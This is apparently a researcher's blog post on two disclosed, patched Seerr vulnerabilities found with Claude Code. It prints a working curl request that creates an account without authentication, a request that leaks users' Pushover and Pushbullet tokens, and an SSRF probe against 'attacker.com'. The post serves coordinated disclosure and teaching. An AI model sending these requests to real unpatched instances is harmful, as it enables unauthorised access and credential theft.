Finding an Authentication Bypass and Credential Disclosure in Seerr Using Claude and Bitwarden's AI Security Plugins

Feb 27, 2026 min read

Background

I’ve been running Seerr at home for a while now. It’s a self-hosted media request manager, forked from Jellyseerr/Overseerr, and it’s the kind of app that gets exposed to the internet pretty regularly since family members need to be able to submit requests. That always makes me curious about the security.

I decided to spend some time doing actual security research on it, specifically looking for things that could be exploited without an account. While I was at it, I wanted to try out Bitwarden’s AI-Plugins for Security Engineers with Claude Code and see if it changed how the research went.

Spoiler: it did, and I ended up finding two bugs that chain together pretty cleanly.

What Are Bitwarden’s AI-Plugins?

Bitwarden open-sourced a set of skills for Claude Code aimed at security work. The Security Engineer plugin gives Claude a structured approach to code review that’s based on how real appsec engineers work:

  • Map every entry point first before diving into any individual piece of code
  • Trace untrusted input all the way through to wherever it ends up being used
  • Check every trust boundary crossing for auth enforcement
  • Work through OWASP and CWE checklists systematically
  • Start with a hypothesis (“can I bypass auth?”) and work backwards to see if it’s achievable

That last one is what made the biggest difference. Without it, asking an LLM to find security bugs often produces a vague list of generic concerns. The structured workflow keeps the focus on actual exploitability.

How the Research Went

First Pass: The Obvious Stuff

I started with a broad prompt asking for unauthenticated attack surface. Claude mapped the route tree and flagged a few things:

  • An imageproxy endpoint that passed URLs through to axios without much validation, which looked like potential SSRF
  • No rate limiting on login endpoints
  • /api/v1/settings/public leaking some internal config without auth

I tested the imageproxy path right away, trying a protocol-relative URL like //attacker.com/image.jpg. Got a 500. Traced through the code and found why: axios v1.x uses new URL() internally, which just throws on protocol-relative URLs. Real bug in the source, but not actually exploitable. The rate limiting thing didn’t matter much for a self-hosted service anyway. First pass was a dead end.

Second Pass: Deeper Logic Issues

Second round, Claude focused more on auth state logic and data persistence. A few more interesting things showed up:

Settings reset overwrite: If the Docker container got wiped and settings.json was deleted, there was a code path in the Jellyfin login endpoint that would overwrite an existing admin account. Real bug, but you need a pretty specific setup condition for it to matter.

Plex email merge: If someone authenticated via Plex OAuth with an email that matched an existing local account without a plexId, the server would merge them. Interesting but requires either social engineering or a compromised Plex account upstream.

Race condition in password generation: generatePassword() called this.setPassword(password) without await, and setPassword runs bcrypt.hash at cost 12 which takes a few hundred milliseconds. The race window is real but hard to trigger reliably in practice.

Better findings, but still not the clean unauthenticated exploit I was looking for.

Third Pass: The Real One

Third round, Claude zeroed in on the Jellyfin authentication endpoint and specifically the guard logic that’s supposed to block it on non-Jellyfin deployments. Here’s what it found in server/routes/auth.ts:

// Lines 241-251
if (
  settings.main.mediaServerType != MediaServerType.NOT_CONFIGURED &&
  (settings.main.mediaServerLogin === false ||
    (settings.main.mediaServerType !== MediaServerType.JELLYFIN &&
      settings.main.mediaServerType !== MediaServerType.EMBY &&
      settings.jellyfin.ip !== ''))  // <- here's the problem
) {
  return res.status(500).json({ error: 'Jellyfin login is disabled' });
}

The guard is supposed to block Jellyfin logins when the server isn’t configured for Jellyfin. But walk through the logic on a Plex-configured instance:

  • mediaServerType is PLEX (1), so the outer check passes
  • mediaServerLogin === false is false (login is enabled), so we evaluate the inner OR clause
  • mediaServerType !== JELLYFIN is true (it’s Plex)
  • mediaServerType !== EMBY is true (it’s Plex)
  • settings.jellyfin.ip !== '' is false (Jellyfin was never configured, so the IP field is an empty string)

That last condition makes the entire inner && chain evaluate to false. The guard never fires. Execution falls through to account creation.

settings.jellyfin.ip !== '' was probably meant to say “only run this check if Jellyfin is actually configured.” But on a Plex deployment, Jellyfin’s IP is always empty, so the condition is always false, which means the entire guard is always bypassed. Anyone who can reach the endpoint can create an account.

Actually Exploiting It

Finding the logic flaw is one thing. Getting it to actually work took a bit of debugging.

The urlBase Problem

My first test came back with INVALID_URL. I was hitting a Seerr instance running in Docker and used localhost as the hostname, which inside the container means the container’s own loopback. Jellyfin was on the host machine, not reachable that way. Switched to the host’s LAN IP. Still INVALID_URL.

Claude traced this through server/utils/getHostname.ts:

export const getHostname = (params?: HostnameParams): string => {
  const settings = params ? params : getSettings().jellyfin;
  const { useSsl, ip, port, urlBase } = settings;
  const hostname = `${useSsl ? 'https' : 'http'}://${ip}:${port}${urlBase}`;
  return hostname;
};

If urlBase isn’t in the request body, it destructures as undefined. Template literals turn undefined into the string "undefined", so you end up with http://192.168.1.113:8096undefined as the target URL. That fails to parse, axios throws without an e.response, and the catch block maps it to INVALID_URL.

The fix was just adding "urlBase": "" to the request body. The working curl:

curl -v http://TARGET:5055/api/v1/auth/jellyfin \
  -H 'Content-Type: application/json' \
  -d '{
    "username": "any_username",
    "password": "any_password",
    "hostname": "YOUR_JELLYFIN_IP",
    "port": 8096,
    "useSsl": false,
    "urlBase": ""
  }'

It Works

HTTP/1.1 200 OK
Set-Cookie: connect.sid=s%3A...; Path=/; HttpOnly; SameSite=Lax

{
  "id": 5,
  "email": "any_username",
  "plexUsername": null,
  "permissions": 2,
  "password": "$2b$12$...",
  ...
}

New account, valid session cookie, and whatever permissions the admin has set as the default. From there it’s just a normal authenticated session: browse the UI, search for media, submit requests.

I tested this against a friend’s internet-exposed Seerr instance with their permission. Sent the curl, got the 200, used the session cookie to log in and request a movie. Worked exactly the same way over the internet.

Finding #2: Credential Disclosure in User Profile Endpoint

With a working session in hand, the next question was whether a low-privilege account could escalate. The settings tree is gated behind Permission.ADMIN at the router level, so that avenue was closed. But while mapping what a regular user could access, Claude flagged the GET /api/v1/user/:id endpoint.

The handler in server/routes/user/index.ts has no ownership or permission check beyond “you must be authenticated”:

router.get<{ id: string }>('/:id', async (req, res, next) => {
  try {
    const userRepository = getRepository(User);
    const user = await userRepository.findOneOrFail({
      where: { id: Number(req.params.id) },
    });
    return res
      .status(200)
      .json(user.filter(req.user?.hasPermission(Permission.MANAGE_USERS)));
  } catch (e) {
    next({ status: 404, message: 'User not found.' });
  }
});

Any user ID goes in, that user’s data comes out. The filter() method in User.ts only strips email and plexId for non-admin callers:

static readonly filteredFields: string[] = ['email', 'plexId'];

Everything else passes through, including the settings relationship, which is marked eager: true and therefore always loaded. UserSettings stores every notification service credential a user has configured: Pushover application token and user key, Pushbullet access token, Telegram chat ID, Discord ID, and PGP key.

A simple call to GET /api/v1/user/1 (user ID 1 is always the owner) confirmed it:

{
  "id": 1,
  "plexUsername": "mandreko",
  "permissions": 32,
  "settings": {
    "pushoverApplicationToken": "aabbccddeeffgghhaaaaaaaaaaaaaa",
    "pushoverUserKey": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
    "pushbulletAccessToken": null,
    "telegramChatId": null,
    "discordId": null
  }
}

The Pushover token and user key together are enough to send arbitrary notifications to someone’s devices and read their delivery history via the Pushover API. A Pushbullet access token gives full read/write access to a victim’s Pushbullet account, including push history and SMS relay if they have it enabled.

CVSS 3.0: 6.5 Medium (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)

The CVSS score doesn’t fully capture the blast radius here since it doesn’t account for what a leaked Pushbullet or Pushover token can do cross-service. On its own it’s a standalone medium. Chained with the auth bypass, it becomes a fully unauthenticated path to exfiltrating third-party credentials for every user on the instance.

Vulnerability Summary

Finding 1: Unauthenticated Account Creation (Auth Bypass)

Advisory: GHSA-rc4w-7m3r-c2f7

CVE: CVE-2026-27707

Root cause: The guard condition settings.jellyfin.ip !== '' inadvertently disables the entire check on Plex deployments because Jellyfin’s IP is always empty when it isn’t configured. This is CWE-807 (Reliance on Untrusted Inputs in a Security Decision) with CWE-288 (Authentication Bypass Using an Alternate Path) as the practical impact.

Who’s affected: Any Seerr instance with Plex configured as the media server type, exposed to the network. Not affected: Jellyfin/Emby deployments, unconfigured instances.

CVSS 3.0: 7.3 High (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)

Fix: Remove the && settings.jellyfin.ip !== '' condition entirely:

// Before (vulnerable)
settings.main.mediaServerType !== MediaServerType.JELLYFIN &&
settings.main.mediaServerType !== MediaServerType.EMBY &&
settings.jellyfin.ip !== ''

// After (fixed)
settings.main.mediaServerType !== MediaServerType.JELLYFIN &&
settings.main.mediaServerType !== MediaServerType.EMBY

Finding 2: User Profile Endpoint Exposes Notification Credentials

Advisory: GHSA-f7xw-jcqr-57hp

CVE: CVE-2026-27793

Root cause: GET /api/v1/user/:id has no ownership or permission check, and the settings relationship (which stores notification service credentials) is eager-loaded and not filtered from non-admin responses. CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-200 (Exposure of Sensitive Information).

Who’s affected: All Seerr instances. Any authenticated user (including one created via Finding 1) can retrieve notification credentials for all users including the admin.

CVSS 3.0: 6.5 Medium (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)

Fix: Add an ownership check to the handler, and expand filteredFields to strip credential fields from the settings object when a non-admin is viewing another user’s profile.

What the AI-Assisted Workflow Actually Contributed

I want to be honest about this because “I used AI to find a bug” can sound like either hype or a cop-out depending on how you read it.

The vulnerability wasn’t found in a single prompt. It took three rounds of analysis, with me pushing back and refining the focus each time. What the Bitwarden security plugin contributed was mostly structure and persistence.

The data flow tracing is where it helped most. The urlBase bug (where undefined becomes the string "undefined" in a template literal) is exactly the kind of thing that’s easy to skim past when you’re reading code quickly. Having Claude trace the full path from request body through destructuring through the template literal to the axios call made it visible in a way that reading the function in isolation probably wouldn’t have.

The adversarial framing also helped. Instead of asking “is this code correct?”, the workflow frames it as “what would need to be true for this to be exploitable?” Applied to the auth guard, the question becomes: “can I reach account creation on a server that isn’t running Jellyfin?” Working backwards through the boolean logic from that specific hypothesis is what surfaced the short-circuit.

The limitations were real too. The imageproxy SSRF looked completely exploitable in the source but failed in practice because of how a specific version of axios handles URL parsing. No amount of static analysis catches that without actually running the code. The AI-assisted review and the manual testing both have to be there.

Disclosure

Both findings were reported to the Seerr project through GitHub’s private Security Advisory system. Both vulnerabilities are patched in Seerr v3.1.0, so if you’re running Seerr with Plex, update now.

If you find bugs in open source projects, the GitHub “Report a Vulnerability” tab is usually the right starting point. It keeps things private while maintainers work on a fix, and it creates a paper trail for coordinated disclosure.

Tools


Testing was done against Seerr on the develop branch as of February 2026. Testing against the remote instance was done with explicit permission from the owner.